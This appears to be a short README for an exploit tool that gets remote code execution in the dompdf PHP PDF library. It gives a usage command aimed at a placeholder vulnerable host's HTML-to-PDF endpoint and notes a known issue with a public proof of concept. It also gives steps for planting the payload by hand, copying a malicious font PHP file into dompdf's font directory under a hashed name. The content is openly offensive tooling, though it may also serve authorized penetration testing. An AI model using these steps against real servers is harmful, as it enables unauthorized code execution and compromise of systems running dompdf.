./dompdf-rce --inject https://vuln.rvz/dev/convert-html-to-pdf?html= --dompdf https://vuln.rvz/dompdf/
notes:
- Provide the parameters in the URL (regardless the request method)
- Known Issues! - Testing with https://github.com/positive-security/dompdf-rce
The program has been successfully tested for RCE on some systems where dompdf was implemented,
But there may be some issues when testing with the dompdf-rce PoC at https://github.com/positive-security/dompdf-rce
due to a known issue described at https://github.com/positive-security/dompdf-rce/issues/2.
In this application, the same implementation was added for now.
Although it may be pointless at the moment, you can still manually add the payload
by copying the exploit_font.php file to ../path-to-dompdf-rce/dompdf/applicaiton/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php
